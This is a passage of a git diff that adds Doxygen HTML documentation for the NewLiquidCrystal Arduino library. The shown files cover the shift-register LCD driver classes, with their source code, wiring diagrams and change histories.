188  fio_bit _strobe; // shift register strobe pin
+
189  fio_register _strobe_reg; // SR strobe pin MCU register
+
190  fio_bit _data; // shift register data pin
+
191  fio_register _data_reg; // SR data pin MCU register
+
192  fio_bit _clk; // shift register clock pin
+
193  fio_register _clk_reg; // SR clock pin MCU register
+
194  uint8_t _En; // LCD expander word for enable pin
+
195  uint8_t _Rw; // LCD expander word for R/W pin
+
196  uint8_t _Rs; // LCD expander word for Register Select pin
+
197  uint8_t _data_pins[4]; // LCD data lines
+
198  uint8_t _backlightPinMask; // Backlight IO pin mask
+
199  uint8_t _backlightStsMask; // Backlight status mask
+
200 
+
201 };
+
202 
+
203 #endif
+
204 
+
LiquidCrystal_SR3W::setBacklightPin
void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LiquidCrystal_SR3W.cpp:183
+
LiquidCrystal_SR3W
Definition: LiquidCrystal_SR3W.h:66
+
LiquidCrystal_SR3W::LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)
Definition: LiquidCrystal_SR3W.cpp:133
+
LCD
Definition: LCD.h:187
+
LiquidCrystal_SR3W::setBacklight
void setBacklight(uint8_t value)
Definition: LiquidCrystal_SR3W.cpp:191
+
LiquidCrystal_SR3W::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR3W.cpp:162
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp.html new file mode 100644 index 0000000..b7f90b1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp.html @@ -0,0 +1,121 @@ + + + + +LCD Library: LiquidCrystal_SR.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp_source.html new file mode 100644 index 0000000..bc429f0 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp_source.html @@ -0,0 +1,320 @@ + + + + +LCD Library: LiquidCrystal_SR.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR.h
+00013 //  Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 // The functionality provided by this class and its base class is identical
+00021 // to the original functionality of the Arduino LiquidCrystal library and can
+00022 // be used as such.
+00023 //
+00024 // Modified to work serially with the shiftOut() function, an 8-bit
+00025 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00026 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+00027 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00028 // I used 74LS164, for the reason that's what I had at hand.
+00029 //
+00030 // Connection description:
+00031 //
+00032 // SR output:
+00033 // Bit  #0   - N/C - not connected, used to hold a zero
+00034 // Bit  #1   - N/C
+00035 // Bit  #2   - connects to RS (Register Select) on the LCD
+00036 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+00037 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00038 //
+00039 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
+00040 // If not using Enable, the Data pin is used for the enable signal by defining
+00041 // the same pin for Enable as for Data. Data and Clock outputs/pins goes to
+00042 // the shiftregister.
+00043 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00044 // Busy Flag (BF, data bit D7) is not read.
+00045 //
+00046 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00047 //
+00048 //
+00049 // History
+00050 // 2012.03.29  bperrybap - Added delays for faster fio shiftout (it got too fast)
+00051 //             AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32.
+00052 //             Added code to support indicating two wire mode by using enable=data pin
+00053 //             (documentation indicated this as working)
+00054 //             Fixed incorrect use of 5x10 for default font - now matches original LQ library.
+00055 //             can now eliminate enable pin in constructor for two wire mode.
+00056 // 2012.01.16  Florian Fida - faster digitalWrite/shiftOut
+00057 // 2011.10.29  fmalpartida - adaption of the library to the LCD class hierarchy.
+00058 // 2011.07.02  Fixed a minor flaw in setCursor function. No functional change, 
+00059 //             just a bit more memory efficient.
+00060 //             Thanks to CapnBry (from google code and github) who noticed it.
+00061 //             URL to his version of shiftregLCD:
+00062 //             https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+00063 // 2009.07.30  raron - minor corrections to the comments.
+00064 //             Fixed timing to datasheet safe. Fixed keyword highlights.
+00065 // 2009.07.28  Mircho / raron - a new modification to the schematics, and a
+00066 //             more streamlined interface
+00067 // 2009.07.27  Thanks to an excellent suggestion from mircho at the Arduino
+00068 //             playgrond forum, the number of wires now required is only two!
+00069 // 2009.07.25  raron - Fixed comments. I really messed up the comments before 
+00070 //             posting this, so I had to fix it.
+00071 //             Renamed a function, but no improvements or functional changes.
+00072 // 2009.07.23  Incorporated some proper initialization routines
+00073 //             inspired (lets say copy-paste-tweaked) from LiquidCrystal
+00074 //             library improvements from LadyAda.
+00075 // 2009.05.23  raron - first version, but based mostly (as in almost verbatim)
+00076 //             on the "official" LiquidCrystal library.
+00077 //
+00078 //
+00079 // @author F. Malpartida - fmalpartida@gmail.com
+00080 // ---------------------------------------------------------------------------
+00081 #include <stdio.h>
+00082 #include <string.h>
+00083 #include <inttypes.h>
+00084 
+00085 #if (ARDUINO <  100)
+00086 #include <WProgram.h>
+00087 #else
+00088 #include <Arduino.h>
+00089 #endif
+00090 #include "LiquidCrystal_SR.h"
+00091 
+00092 #include "FastIO.h"
+00093 
+00094 
+00095 // CONSTRUCTORS
+00096 // ---------------------------------------------------------------------------
+00097 // Assuming 1 line 8 pixel high font
+00098 LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, 
+00099                                     uint8_t enable ) 
+00100 {
+00101         init ( srdata, srclock, enable, 1, 0 );
+00102 }
+00103 
+00104 
+00105 // PRIVATE METHODS
+00106 // ---------------------------------------------------------------------------
+00107 
+00108 //
+00109 // init
+00110 void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, 
+00111                             uint8_t lines, uint8_t font)
+00112 {
+00113    // Initialise private variables
+00114    _two_wire = 0;
+00115    
+00116    _srDataRegister = fio_pinToOutputRegister(srdata);
+00117    _srDataBit = fio_pinToBit(srdata);
+00118    _srClockRegister = fio_pinToOutputRegister(srclock);
+00119    _srClockBit = fio_pinToBit(srclock);
+00120    
+00121    if ((enable == TWO_WIRE) || (enable == srdata))
+00122    {
+00123       _two_wire = 1;
+00124       _srEnableRegister = _srDataRegister;
+00125       _srEnableBit = _srDataBit;
+00126    }
+00127    else
+00128    {
+00129       _srEnableRegister = fio_pinToOutputRegister(enable);
+00130       _srEnableBit = fio_pinToBit(enable);
+00131    }
+00132    
+00133    // Configure control pins as outputs
+00134    // ------------------------------------------------------------------------
+00135    
+00136    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00137 }
+00138 
+00139 //
+00140 // shiftIt
+00141 void LiquidCrystal_SR::shiftIt(uint8_t val)
+00142 {
+00143    if (_two_wire)
+00144    {
+00145       // Clear to get Enable LOW
+00146       fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit);
+00147    }
+00148    fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST);
+00149    
+00150    // LCD ENABLE PULSE
+00151    //
+00152    // While this library is written with a shift register without an output
+00153    // latch in mind, it can work in 3-wire mode with a shiftregister with a
+00154    // latch. The shiftregister latch pin (STR, RCL or similar) is then
+00155    // connected to the LCD enable pin. The LCD is (very likely) slower
+00156    // to read the Enable pulse, and then reads the new contents of the SR.
+00157    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00158    {
+00159       fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit);
+00160       delayMicroseconds (1);         // enable pulse must be >450ns               
+00161       fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW);
+00162    } // end critical section
+00163 }
+00164 
+00165 // PUBLIC METHODS
+00166 // ---------------------------------------------------------------------------
+00167 
+00168 
+00169 /************ low level data pushing commands **********/
+00170 //
+00171 // send
+00172 void LiquidCrystal_SR::send(uint8_t value, uint8_t mode)
+00173 {
+00174    // Divide byte in two nibbles include the RS signal
+00175    // and format it for shiftregister output wiring to the LCD
+00176    // We are only interested in my COMMAND or DATA for myMode
+00177    uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00178    
+00179    if ( mode != FOUR_BITS )
+00180    {
+00181       shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble
+00182    }
+00183 
+00184    shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble
+00185    /*
+00186     * Add some delay since this code is so fast it needs some added delay
+00187     * even on AVRs because the shiftout is shorter than the LCD command execution time.
+00188     */
+00189 #if (F_CPU <= 16000000)
+00190    if(_two_wire)
+00191         delayMicroseconds ( 10 );
+00192    else
+00193         delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer
+00194 #else
+00195    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00196 #endif
+00197 
+00198 }
+00199 
+00200 //
+00201 // setBacklightPin
+00202 void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00203 { }
+00204 
+00205 //
+00206 // setBacklight
+00207 void LiquidCrystal_SR::setBacklight ( uint8_t mode ) 
+00208 { }
+00209 
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h.html new file mode 100644 index 0000000..39687a2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h.html @@ -0,0 +1,175 @@ + + + + +LCD Library: LiquidCrystal_SR.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes | +Defines
+
+
LiquidCrystal_SR.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + +

+Classes

class  LiquidCrystal_SR

+Defines

#define SR_EN_BIT   0x80
#define SR_RS_BIT   0x04
#define TWO_WIRE   204
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   0x80
+
+
+ +

Definition at line 92 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   0x04
+
+
+ +

Definition at line 91 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define TWO_WIRE   204
+
+
+ +

Definition at line 90 of file LiquidCrystal_SR.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h_source.html new file mode 100644 index 0000000..9d0e584 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h_source.html @@ -0,0 +1,229 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_SR.h
+
13 // Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit
+
14 // ShiftRegister (SR from now on).
+
15 //
+
16 // @brief
+
17 // This is a port of the ShiftRegLCD library from raron and ported to the
+
18 // LCD library.
+
19 //
+
20 // The functionality provided by this class and its base class is identical
+
21 // to the original functionality of the Arduino LiquidCrystal library and can
+
22 // be used as such.
+
23 //
+
24 // Modified to work serially with the shiftOut() function, an 8-bit
+
25 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+
26 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+
27 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+
28 // I used 74LS164, for the reason that's what I had at hand.
+
29 //
+
30 // Connection description:
+
31 //
+
32 // SR output:
+
33 // Bit #0 - N/C - not connected, used to hold a zero
+
34 // Bit #1 - N/C
+
35 // Bit #2 - connects to RS (Register Select) on the LCD
+
36 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+
37 // Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate")
+
38 //
+
39 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
+
40 // If not using Enable, the Data pin will be used for the enable signal.
+
41 // 2 wire mode can be indicated by:
+
42 // - ommitting the enable pin in constructor
+
43 // - defining the same pin for Enable as for Data in constructor
+
44 // - by using the token TWO_WIRE for the enable pin.
+
45 //
+
46 // Data and Clock outputs/pins goes to the shiftregister.
+
47 // LCD RW-pin hardwired to LOW (only writing to LCD).
+
48 // Busy Flag (BF, data bit D7) is not read.
+
49 //
+
50 // Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+
51 //
+
52 //
+
53 // History
+
54 // 2012.03.29 bperrybap - can now eliminate enable pin in constructor for two wire mode.
+
55 // 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy.
+
56 // 2011.07.02 Fixed a minor flaw in setCursor function. No functional change,
+
57 // just a bit more memory efficient.
+
58 // Thanks to CapnBry (from google code and github) who noticed it.
+
59 // URL to his version of shiftregLCD:
+
60 // https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+
61 // 2009.07.30 raron - minor corrections to the comments.
+
62 // Fixed timing to datasheet safe. Fixed keyword highlights.
+
63 // 2009.07.28 Mircho / raron - a new modification to the schematics, and a
+
64 // more streamlined interface
+
65 // 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduiono
+
66 // playgrond forum, the number of wires now required is only two!
+
67 // 2009.07.25 raron - Fixed comments. I really messed up the comments before
+
68 // posting this, so I had to fix it.
+
69 // Renamed a function, but no improvements or functional changes.
+
70 // 2009.07.23 Incorporated some proper initialization routines
+
71 // inspired (lets say copy-paste-tweaked) from LiquidCrystal
+
72 // library improvements from LadyAda.
+
73 // 2009.05.23 raron - first version, but based mostly (as in almost verbatim)
+
74 // on the "official" LiquidCrystal library.
+
75 //
+
76 //
+
77 //
+
78 // @author F. Malpartida - fmalpartida@gmail.com
+
79 // ---------------------------------------------------------------------------
+
80 #ifndef _LIQUIDCRYSTAL_SR_
+
81 #define _LIQUIDCRYSTAL_SR_
+
82 
+
83 #include <inttypes.h>
+
84 #include "LCD.h"
+
85 #include "FastIO.h"
+
86 
+
87 
+
88 // two-wire indicator constant
+
89 // ---------------------------------------------------------------------------
+
90 #define TWO_WIRE 204
+
91 #define SR_RS_BIT 0x04
+
92 #define SR_EN_BIT 0x80
+
93 
+
94 class LiquidCrystal_SR : public LCD
+
95 {
+
96 public:
+
108  LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE );
+
109 
+
122  virtual void send(uint8_t value, uint8_t mode);
+
123 
+
124 
+
134  void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+
135 
+
145  void setBacklight ( uint8_t mode );
+
146 
+
147 private:
+
148 
+
154  void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines,
+
155  uint8_t font );
+
156 
+
161  void shiftIt (uint8_t val);
+
162 
+
163  uint8_t _enable_pin; // Enable Pin
+
164  uint8_t _two_wire; // two wire mode
+
165 
+
166  fio_register _srDataRegister; // Serial Data pin
+
167  fio_bit _srDataBit;
+
168  fio_register _srClockRegister; // Clock Pin
+
169  fio_bit _srClockBit;
+
170  fio_register _srEnableRegister; // Enable Pin
+
171  fio_bit _srEnableBit;
+
172 
+
173 };
+
174 
+
175 #endif
+
176 
+
LCD
Definition: LCD.h:187
+
LiquidCrystal_SR::LiquidCrystal_SR
LiquidCrystal_SR(uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)
Definition: LiquidCrystal_SR.cpp:98
+
LiquidCrystal_SR::setBacklight
void setBacklight(uint8_t mode)
Definition: LiquidCrystal_SR.cpp:207
+
LiquidCrystal_SR::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR.cpp:172
+
LiquidCrystal_SR
Definition: LiquidCrystal_SR.h:94
+
LiquidCrystal_SR::setBacklightPin
void setBacklightPin(uint8_t pin, t_backlighPol pol)
Definition: LiquidCrystal_SR.cpp:202
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html new file mode 100644 index 0000000..8049852 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html @@ -0,0 +1,147 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "FastIO.h"
+#include "LiquidCrystal_SR_LCD3.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define SR_EN_BIT   B00010000
#define SR_RS_BIT   B01000000
#define SR_RW_BIT   B00100000
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   B00010000
+
+
+ +

Definition at line 167 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   B01000000
+
+
+ +

Definition at line 169 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RW_BIT   B00100000
+
+
+ +

Definition at line 168 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html new file mode 100644 index 0000000..310997e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html @@ -0,0 +1,295 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Originally Created by Francisco Malpartida on 2011/08/20.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // 2012/01/21 - Marc MERLIN
+00010 // This library, LiquidCrystal_SR_LCD3, was forked off LiquidCrystal_SR which
+00011 // used a different wiring than the Pebble and Pebblev2 (just released by
+00012 // freetronics in the arduino miniconf as part of linux.conf.au 2012) and
+00013 // therefore this code organizes the output data differently.
+00014 //
+00015 // Upstream source for this module is
+00016 // https://github.com/marcmerlin/NewLiquidCrystal
+00017 //
+00018 // Thread Safe: No
+00019 // Extendable: Yes
+00020 //
+00021 // @file LiquidCrystal_SR_LCD3.h
+00022 //
+00023 //  Connects an LCD using 3 pins from the Arduino, via an 8-bit 
+00024 //  ShiftRegister (SR from now on).
+00025 //  The original port source for this module is https://github.com/marcmerlin/NewLiquidCrystal
+00026 //  The 'FastIO' merge has madethis code 4 times faster.
+00027 // 
+00028 // @brief 
+00029 // This is a port of the ShiftRegLCD library from raron and ported to the
+00030 // LCD library.
+00031 //
+00032 // The functionality provided by this class and its base class is identical
+00033 // to the original functionality of the Arduino LiquidCrystal library and can
+00034 // be used as such.
+00035 //
+00036 // Pinout for this code is used by derivatives of the original LCD3Wire page:
+00037 // http://www.arduino.cc/playground/Code/LCD3wires
+00038 //
+00039 // This includes the LCA (linux.conf.au) Arduino Miniconf Pebble: 
+00040 // http://shieldlist.org/luke-weston/pebble
+00041 // https://github.com/lukeweston/Pebble
+00042 //
+00043 // It also includes the Pebble v2:
+00044 // http://www.arduinominiconf.org/index.php/Pebble_V2.0_Instructions
+00045 // http://www.freetronics.com/pages/pebble-v2
+00046 // https://github.com/lukeweston/pebble20/blob/master/README.md
+00047 // https://github.com/lukeweston/pebble20/blob/master/pebble-sch.pdf
+00048 //
+00049 // Shiftregister connection description:
+00050 // MC14094 input:  Arduino digital pin 2=Clock, pin 3=Data, pin 4=Strobe
+00051 // MC14094 output: Q8=DB4, Q7=DB5, Q6=DB6, Q5=DB7, Q4=E, Q3=RW, Q2=RS, Q1=None
+00052 //
+00053 //   +--------------------------------------------+
+00054 //   |    Arduino (ATMega 168 or 328)             |
+00055 //   |    D02           D03           D04         |
+00056 //   +----+-------------+-------------+-----------+
+00057 //        |4            |5            |6
+00058 //        |1            |2            |3
+00059 //   +----+-------------+-------------+-----------+
+00060 //   |    Strobe        Data          Clock       |
+00061 //   |    MC14094 8-bit shift/latch register      |
+00062 //   |    Q8   Q7   Q6   Q5   Q4   Q3   Q2   Q1   |
+00063 //   +----+----+----+----+----+----+----+----+----+
+00064 //        |11  |12  |13  |14  |7   |6   |5   |4
+00065 //        |11  |12  |13  |14  |6   |5   |4
+00066 //   +----+----+----+----+----+----+----+---------+
+00067 //   |    DB4  DB5  DB6  DB7  E    RW   RS        |
+00068 //   |               LCD KS0066                   |
+00069 //   +--------------------------------------------+
+00070 //
+00071 // 3 Pins required from the Arduino for Data, Clock, and Enable/Strobe.
+00072 //
+00073 // This code was inspired from LiquidCrystal_SR from
+00074 // http://code.google.com/p/arduinoshiftreglcd/
+00075 // but was written for implementing LiquidCrystal support for the Pebble
+00076 // and Pebblev2 (see below).
+00077 // The Pebbles's LCD and shift register wiring were inspired from this
+00078 // original page:
+00079 // http://www.arduino.cc/playground/Code/LCD3wires
+00080 // 
+00081 // Pebbles and the LCD3Wires design are compatible hardware-wise, but
+00082 // the LCD3Wire code does not work with arduino 1.0 anymore and is generally
+00083 // quite limited in functionality compared to this framework that provides the
+00084 // entire LiquidDisplay functionality.
+00085 // Why not just use the LiquidCrystal_SR pinout?
+00086 // - LCD3Wire was first and therefore have hardware that was designed with 
+00087 //   incompatible (IMO better if you don't mind 3 wires) pinout.
+00088 // - The pinout used here is same saner (the 4 bits for the LCD are all in one 
+00089 //   nibble of the shift register, not spread across 2 like in the
+00090 //   LiquidCrystal_SR pinout)
+00091 //
+00092 // Note however that LiquidCrystal_SR while a bit more complex wiring and code
+00093 // wise, supports non latching shift registers and it a few percent faster than
+00094 // this code since it can address the LCD enable pin without having to send 
+00095 // a pulse through the shift register like the LCD3Wires setup requires.
+00096 //  
+00097 // This code makes sure to properly follow the specifications when talking
+00098 // to the LCD while using minimal delays (it's faster than the LCD3wire and aiko
+00099 // pebble code).
+00100 //
+00101 // @author Marc MERLIN - marc_soft<at>merlins.org.
+00102 // ---------------------------------------------------------------------------
+00103 #include <stdio.h>
+00104 #include <string.h>
+00105 #include <inttypes.h>
+00106 
+00107 #if (ARDUINO <  100)
+00108 #include <WProgram.h>
+00109 #else
+00110 #include <Arduino.h>
+00111 #endif
+00112 #include "FastIO.h"
+00113 #include "LiquidCrystal_SR_LCD3.h"
+00114 
+00115 
+00116 // STATIC helper functions
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 
+00120 // CONSTRUCTORS
+00121 // ---------------------------------------------------------------------------
+00122 // Assuming 1 line 8 pixel high font
+00123 LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, 
+00124                                               uint8_t strobe )
+00125 {
+00126         init ( srdata, srclock, strobe, 1, 0 );
+00127 }
+00128 
+00129 
+00130 // PRIVATE METHODS
+00131 // ---------------------------------------------------------------------------
+00132 
+00133 //
+00134 // init
+00135 void LiquidCrystal_SR_LCD3::init( uint8_t srdata, uint8_t srclock, uint8_t strobe, 
+00136                                  uint8_t lines, uint8_t font )
+00137 {
+00138         // Initialise private variables
+00139         // translate all pins to bits and registers
+00140         // pinMode to OUTPUT, Output LOW
+00141    
+00142    _srdata_bit = fio_pinToBit(srdata);
+00143    _srdata_register = fio_pinToOutputRegister(srdata);
+00144    _srclock_bit = fio_pinToBit(srclock);
+00145    _srclock_register = fio_pinToOutputRegister(srclock);
+00146    _strobe_bit = fio_pinToBit(strobe);
+00147    _strobe_register = fio_pinToOutputRegister(strobe);
+00148    
+00149    // Little trick to force a pulse of the LCD enable bit and make sure it is
+00150    // low before we start further writes since this is assumed.
+00151    
+00152    write4bits(0);
+00153    
+00154    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x10DOTS;
+00155 }
+00156 
+00157 // PUBLIC METHODS
+00158 // ---------------------------------------------------------------------------
+00159 
+00160 
+00161 /************ low level data pushing commands **********/
+00162 
+00163 // Code below was borrowed from LCD3Wire from
+00164 // http://www.arduino.cc/playground/Code/LCD3wires
+00165 
+00166 // bitmasks for control bits on shift register
+00167 #define SR_EN_BIT B00010000   // LCD Data enable bit.
+00168 #define SR_RW_BIT B00100000   // RW can be pinned low since we only send
+00169 #define SR_RS_BIT B01000000   // LOW: command. HIGH: character.
+00170 
+00171 void LiquidCrystal_SR_LCD3::send(uint8_t value, uint8_t mode) 
+00172 {
+00173    uint8_t nibble;
+00174    
+00175    mode = mode ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00176    
+00177    nibble = value >> 4; // Get high nibble.
+00178    write4bits(nibble | mode);
+00179    
+00180    //delay(1); // This was in the LCD3 code but does not seem needed -- merlin
+00181    
+00182    nibble = value & 15; // Get low nibble
+00183    write4bits(nibble | mode);
+00184 }
+00185 
+00186 void LiquidCrystal_SR_LCD3::write4bits(uint8_t nibble) 
+00187 {
+00188    nibble &= ~SR_RW_BIT; // set RW LOW (we do this always since we only write).
+00189    
+00190    // Send a High transition to display the data that was pushed
+00191    nibble |=  SR_EN_BIT; // LCD Data Enable HIGH
+00192    _pushOut(nibble);
+00193    nibble &= ~SR_EN_BIT; // LCD Data Enable LOW
+00194    _pushOut(nibble); 
+00195 }
+00196 
+00197 // push byte to shift register and on to LCD
+00198 void LiquidCrystal_SR_LCD3::_pushOut(uint8_t nibble) 
+00199 {
+00200    // Make data available for pushing to the LCD.
+00201    fio_shiftOut(_srdata_register, _srdata_bit, _srclock_register, _srclock_bit, nibble, LSBFIRST);
+00202    
+00203    // Make new data active.
+00204    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00205    {
